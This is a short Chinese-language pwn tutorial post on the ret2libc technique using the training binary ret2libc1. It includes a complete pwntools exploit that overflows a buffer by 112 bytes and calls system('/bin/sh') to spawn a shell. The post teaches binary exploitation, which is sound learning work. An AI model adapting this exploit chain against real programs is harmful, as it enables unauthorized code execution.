PWN基础18:ret2libc 补充实例 学习

今天我们学习ret2libc1

先来检查一下保护情况,开启了NX保护

PWN基础18:ret2libc 补充实例 学习_第1张图片

使用如下命令查找一下system函数

再来找一下字符串

ROPgadget --binary ./ret2libc1 --string "/bin/sh"

PWN基础18:ret2libc 补充实例 学习_第2张图片

此时再来计算一下溢出偏移

Exp如下

#Exp.py
from pwn import *

context(arch="i386",os="linux",log_level="debug")
p=process("./ret2libc1")
e=ELF("./ret2libc1")

system_plt_addr=e.plt["system"]
bin_sh_addr=e.search("/bin/sh").next()

offset=112
payload=offset*"A"+p32(system_plt_addr)+p32(1)+p32(bin_sh_addr)

p.sendlineafter("RET2LIBC >_<\n",payload)

p.interactive()

 

你可能感兴趣的:(PWN)